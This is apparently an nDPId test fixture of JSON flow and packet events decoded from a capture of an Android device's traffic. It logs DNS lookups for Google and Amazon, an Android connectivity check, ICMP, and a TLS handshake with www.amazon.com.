+00441{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":724821,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8Wk1AAEARM2qsECrYrBAqASjeADUAKB2sfT0BAAABAAAAAAAAA3d3dwZnb29nbGUDY29tAAABAAE="} +00637{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":38,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1490976027724,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":10462,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"www.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00461{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":725831,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"ePiC0\/vCAMDKkaPvCABFAABM0NhAAEARvM6sECoBrBAq2AA1KN4AOCjyfT2BgAABAAEAAAAAA3d3dwZnb29nbGUDY29tAAABAAHADAABAAEAAAEGAATYOtrE"} +00664{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":39,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":12,"flow_packet_id":2,"flow_first_seen":1490976027724,"flow_last_seen":1490976027725,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":40,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":10462,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"www.google.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.58.218.196"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":40,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1490976027733,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.217.9.142","src_port":35540,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":733585,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8c0BAAEAGOiysECrYrNkJjorUAFAegTplAAAAAKAC\/\/+MiQAAAgQFtAQCCAoA9kklAAAAAAEDAwg="} +00442{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":741389,"pkt_caplen":70,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":70,"pkt_l4_len":16,"pkt":"MzMAAAACePiC0\/vCht1gAAAAABA6\/\/6AAAAAAAAAeviC\/\/7T+8L\/AgAAAAAAAAAAAAAAAAAChQCMEAAAAAABAXj4gtP7wg=="} +00442{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":741448,"pkt_caplen":70,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":70,"pkt_l4_len":16,"pkt":"MzMAAAACePiC0\/vCht1gAAAAABA6\/\/6AAAAAAAAAeviC\/\/7T+8L\/AgAAAAAAAAAAAAAAAAAChQCMEAAAAAABAXj4gtP7wg=="} +00441{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":776018,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8g+MAADQGdYms2QmOrBAq2ABQitTVYWKuHoE6ZqASpahLiwAAAgQFZAQCCApVvw3GAPZJJQEDAwc="} +00429{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":777780,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0c0FAAEAGOjOsECrYrNkJjorUAFAegTpm1WFir4AQAVceVQAAAQEICgD2SSlVvw3G"} +00684{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":780692,"pkt_caplen":254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":254,"pkt_l4_len":220,"pkt":"AMDKkaPvePiC0\/vCCABFAADwc0JAAEAGOXasECrYrNkJjorUAFAegTpm1WFir4AYAVe0RwAAAQEICgD2SSlVvw3GR0VUIC9nZW5lcmF0ZV8yMDQgSFRUUC8xLjENClVzZXItQWdlbnQ6IERhbHZpay8yLjEuMCAoTGludXg7IFU7IEFuZHJvaWQgNS4xLjE7IExHTFM3NTEgQnVpbGQvTE1ZNDdWKQ0KSG9zdDogY29ubmVjdGl2aXR5Y2hlY2suYW5kcm9pZC5jb20NCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KDQo="} +00748{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":45,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":13,"flow_packet_id":4,"flow_first_seen":1490976027733,"flow_last_seen":1490976027780,"flow_tot_l4_data_len":332,"flow_min_l4_data_len":32,"flow_max_l4_data_len":220,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.217.9.142","src_port":35540,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Google","breed":"Unrated","category":"ConnectivityCheck"},"http": {"hostname":"connectivitycheck.android.com","url":"connectivitycheck.android.com\/generate_204","code":0,"content_type":"","user_agent":"Dalvik\/2.1.0 (Linux; U; Android 5.1.1; LGLS751 Build\/LMY47V)"}} +00429{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":793513,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA06L8AACsGQp2twt+8rBAq2BRsp36O4XVhXkGhkYAQAVSUaQAAAQEICiv8RoYA9kkf"} +00950{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":797029,"pkt_caplen":442,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":442,"pkt_l4_len":408,"pkt":"AMDKkaPvePiC0\/vCCABFAAGs1nlAAEAG\/mqsECrYrcLfvKd+FGxeQaGRjuF1YYAYAVtXlAAAAQEICgD2SSsr\/EaGFwMDAXO\/EiqMB2v+WlbPg5zRioefIcPTtrVIfCONSCNUB+3i1QnYEoGqhU63lO\/mbrlXvS55jgamrAxF5lh4o4FiRDC\/rjU4hmEVB28OE6hv\/6yJWgqKlFdVvi1ZqJz2hNr0ldCR\/LRbPeNacXfwEZdWWNlaIl\/h2izTx1qb9X2WKsB6emSiByXTy7\/ec5RfJzv8b5VdtltffsDjjZuf\/BT+GidMfLJRJATytbHYaiJY1DhVIUXLlFJCbgu4diP8MDyJUdp05xJ9nhpujW+MpRyGbFZAHOqAbu5awlWXZvbKUfeQ8crktl2hWe0LWp\/x60fcjob9HC7TfTQKZZUnrF5Fh4Y+ax6Ml8P5wgl3+8ZddVPAxWG\/JZhqQsbkd6PTJVR0BjwAHlhNDZL+CWy43PCzOX+kq4ohMKeiYbeWO5t7XmbYfxgb4LigDgt2AAsepd+P9Y+ZloOerTY\/ueKLp7bB4PgIbSvx6VFiRJMujBTVacs8tXt6LA=="} +00430{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":824392,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0hBMAADQGdWGs2QmOrBAq2ABQitTVYWKvHoE7IoAQAVQdbAAAAQEIClW\/DfYA9kkp"} +00545{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":824538,"pkt_caplen":149,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":149,"pkt_l4_len":115,"pkt":"ePiC0\/vCAMDKkVoBCABFAACHhBQAADQGdQ2s2QmOrBAq2ABQitTVYWKvHoE7IoAYAVQNjgAAAQEIClW\/DfcA9kkpSFRUUC8xLjEgMjA0IE5vIENvbnRlbnQNCkNvbnRlbnQtTGVuZ3RoOiAwDQpEYXRlOiBGcmksIDMxIE1hciAyMDE3IDE2OjAwOjI3IEdNVA0KDQo="} +00429{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":826378,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0c0NAAEAGOjGsECrYrNkJjorUAFAegTsi1WFjAoAQAVcdEAAAAQEICgD2SS5Vvw33"} +00430{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":921877,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA06OsAACsGQnGtwt+8rBAq2BRsp36O4XVhXkGjCYAQAV2SqAAAAQEICiv8RroA9kkr"} +00463{"flow_id":11,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":922015,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"ePiC0\/vCAMDKkVoBCABFAABK6O0AACsGQlmtwt+8rBAq2BRsp36O4XVhXkGjCYAYAV1QqwAAAQEICiv8RsQA9kkrFwMDABGThlM7ukVt4mfxeKbfsG\/jkw=="} +00581{"flow_id":11,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":932358,"pkt_caplen":172,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":172,"pkt_l4_len":138,"pkt":"ePiC0\/vCAMDKkVoBCABFAACe6O8AACsGQgOtwt+8rBAq2BRsp36O4XV3XkGjCYAYAV2X1gAAAQEICiv8Rt0A9kkrFwMDAGW4rSCJU6w1QBWCCb6icNhksEnegr0QmHa5CtWXaVWXyp\/EmS3xdVS\/COMw\/XBKLbVzATaXMKULZeFDGy5l4mra5MUb4wA\/owBQ3yNRRmNTrV5X4nsj64KrULtgpeeCdNYH2s8qKw=="} +00590{"flow_id":11,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":932494,"pkt_caplen":183,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":183,"pkt_l4_len":149,"pkt":"ePiC0\/vCAMDKkVoBCABFAACp6PEAACsGQfatwt+8rBAq2BRsp36O4XXhXkGjCYAYAV02ogAAAQEICiv8RuAA9kkrFwMDAHCM78KlL1c7f7AIAO2lgDLD7At70yiIFp+zTbNqBB4JNPsUDbfB39wAcF8CisSbpSx1Qqab9mKLjZBIu+K4YTvmXPsJnz+k7qZ1g4nGzviZLHMVrZrWPOOuBTGer9YvwWsXsblpk9rKRluW\/ecJtHqe"} +00432{"flow_id":11,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":958063,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA01npAAEAG\/+GsECrYrcLfvKd+FGxeQaMJjuF2VoAQAVuRmwAAAQEICgD2STsr\/EbE"} +00446{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":56,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1490976027958,"flow_last_seen":0,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":60,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.1","dst_ip":"172.16.42.216","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00471{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976027,"pkt_ts_usec":958387,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"ePiC0\/vCAMDKkaPvCABFwABQaiwAAEABYsesECoBrBAq2AUBiVKsECoqRQAANNZ6QAA\/BgDirBAq2K3C37ynfhRsXkGjCY7hdlaAEAFbkZsAAAEBCAoA9kk7K\/xGxA=="} +00478{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":56,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1490976027958,"flow_last_seen":0,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":60,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.1","dst_ip":"172.16.42.216","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":62,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1490976029184,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":48155,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":184743,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8Wk5AAEARM2msECrYrBAqAbwbADUAKEUyqIoBAAABAAAAAAAAA3d3dwZhbWF6b24DY29tAAABAAE="} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":62,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1490976029184,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":48155,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"www.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00616{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":244910,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"ePiC0\/vCAMDKkaPvCABFAAC90PZAAEARvD+sECoBrBAq2AA1vBsAqWPAqIqBgAABAAYAAAAAA3d3dwZhbWF6b24DY29tAAABAAHADAAFAAEAAAToAAoDd3d3A2NkbsAQwCwABQABAAAABgAfDmQzYWc0aHVra2g2MnluCmNsb3VkZnJvbnQDbmV0AMBCAAEAAQAAAAQABDRV0cXAQgABAAEAAAAEAAQ0VdGPwEIAAQABAAAABAAENFXR2MBCAAEAAQAAAAQABDRV0Xo="} +00669{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":63,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":15,"flow_packet_id":2,"flow_first_seen":1490976029184,"flow_last_seen":1490976029244,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":40,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":48155,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"www.amazon.com","num_queries":1,"num_answers":6,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.85.209.197"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":64,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1490976029248,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.197","src_port":55242,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":248822,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8xDtAAEAGmX2sECrYNFXRxdfKAbvTso2HAAAAAKAC\/\/\/liQAAAgQFtAQCCAoA9km8AAAAAAEDAwg="} +00441{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":325964,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPMGqrg0VdHFrBAq2AG718qLhBMS07KNiKAScSCB1QAAAgQFtAQCCAptCebiAPZJvAEDAwg="} +00429{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":328330,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0xDxAAEAGmYSsECrYNFXRxdfKAbvTso2Ii4QTE4AQAVcgZAAAAQEICgD2ScRtCebi"} +00729{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":341528,"pkt_caplen":287,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":287,"pkt_l4_len":253,"pkt":"AMDKkaPvePiC0\/vCCABFAAERxD1AAEAGmKasECrYNFXRxdfKAbvTso2Ii4QTE4AYAVeNQAAAAQEICgD2ScZtCebiFgMBANgBAADUAwNT2KB0JrHY5dbwauLLHFhO0VZRwtPH9AKUlOkcVsOHnAAALMArwCzAL8AwAJ4An8AJwArAE8AUADMAOQAyADjAB8ARAJwAnQAvADUABQD\/AQAAfwAAABMAEQAADnd3dy5hbWF6b24uY29tAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAAADQAgAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgM="} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":67,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":16,"flow_packet_id":4,"flow_first_seen":1490976029248,"flow_last_seen":1490976029341,"flow_tot_l4_data_len":365,"flow_min_l4_data_len":32,"flow_max_l4_data_len":253,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.197","src_port":55242,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.amazon.com","ja3":"bdf21e38e1f69776df407235625e75e2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00429{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":386853,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA09fhAAPMGtMc0VdHFrBAq2AG718qLhBMT07KOZYAQAHYgXQAAAQEICm0J5usA9knG"} +02375{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976029,"pkt_ts_usec":387254,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc9flAAPMGrx40VdHFrBAq2AG718qLhBMT07KOZYAQAHZvywAAAQEICm0J5usA9knGFgMDAEECAAA9AwPuo9AAlhttAZnaq4FrlIhu3W20KiqECP2i3kzJGV6L3QDALwAAFQAAAAD\/AQABAAALAAQDAAECACMAABYDAwvoCwAL5AAL4QAGnzCCBpswggWDoAMCAQICEB1Kvap40Jr+eZ1BvOt6dmIwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjEwMzEwMDAwMDBaFw0xNzEyMzEyMzU5NTlaMGgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRkwFwYDVQQKDBBBbWF6b24uY29tLCBJbmMuMRcwFQYDVQQDDA53d3cuYW1hem9uLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMJaKGd1n\/gfHNZ02Y\/9eMAjyI8oXDlecrRGUA27X7VosTsU6RtkpZNhiNac7REqaKQZm2P4WjOWDVg2Ax69NQEL8wKsLDcs+bF+K8rZCBFiPdg6Jim78UCq8tJtGbo\/TM2m2W9rx29HW1sFJdsl5+Z5XxyUn5g9E0t1BTWkM1xMRZ5SlP4u1aJixAfzvTrXydFdl2c28zsd0X708ucJp+AMQgu5xkZJTQSlWvp6UZdM4\/paMgmjPgBeWFfWW1ESLsWImTlt7tmuulc2MAkWthHbSGzwCzv3UqxTQLmgISqqRTdDgeNndeiFlDiojIhwyS+ddmACSQZn0DyO31ULVycCAwEAAaOCAykwggMlMIHUBgNVHREEgcwwgcmCCmFtYXpvbi5jb22CCGFtem4uY29tghF1ZWRhdGEuYW1hem9uLmNvbYINdXMuYW1hem9uLmNvbYIOd3d3LmFtYXpvbi5jb22CDHd3dy5hbXpuLmNvbYIUY29ycG9yYXRlLmFtYXpvbi5jb22CEWJ1eWJveC5hbWF6b24uY29tghFpcGhvbmUuYW1hem9uLmNvbYINeXAuYW1hem9uLmNvbYIPaG9tZS5hbWF6b24uY29tghVvcmlnaW4td3d3LmFtYXpvbi5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGEGA1UdIARaMFgwVgYGZ4EMAQICMEwwIwYIKwYBBQUHAgEWF2h0dHBzOi8vZC5zeW1jYi5jb20vY3BzMCUGCCsGAQUFBwICMBkMF2h0dHBzOi8vZC5zeW1jYi5jb20vcnBhMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMCsGA1UdHwQkMCIwIKAeoByGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3JsMFcGCCsGAQUFBwEBBEswSTAfBggrBgEFBQcwAYYTaHR0cDovL3NzLnN5bWNkLmNvbTAmBggrBgEFBQcwAoYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcnQwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwDd6x0reg1PpiCLga2BaHB+Lo6dAdVciI09EcTNtuy+zAAAAVgYn8nxAAAEAwBIMEYCIQDp8WWCCDpbtC9Z72N\/spPAMoGM7d0bKGQ9VnLOU5flvwIhAK49N7TMmKEmtSNuc66ro1w0KeRpzF6CNDBwFyDVnBFdAHcAaPaY+B9kgr46jO65KB1M\/HFRXWeT1ETRCmesu09P+8QAAAFYGJ\/KGgAABAMASDBGAiEA0ZUEPCgtkf27znk="} 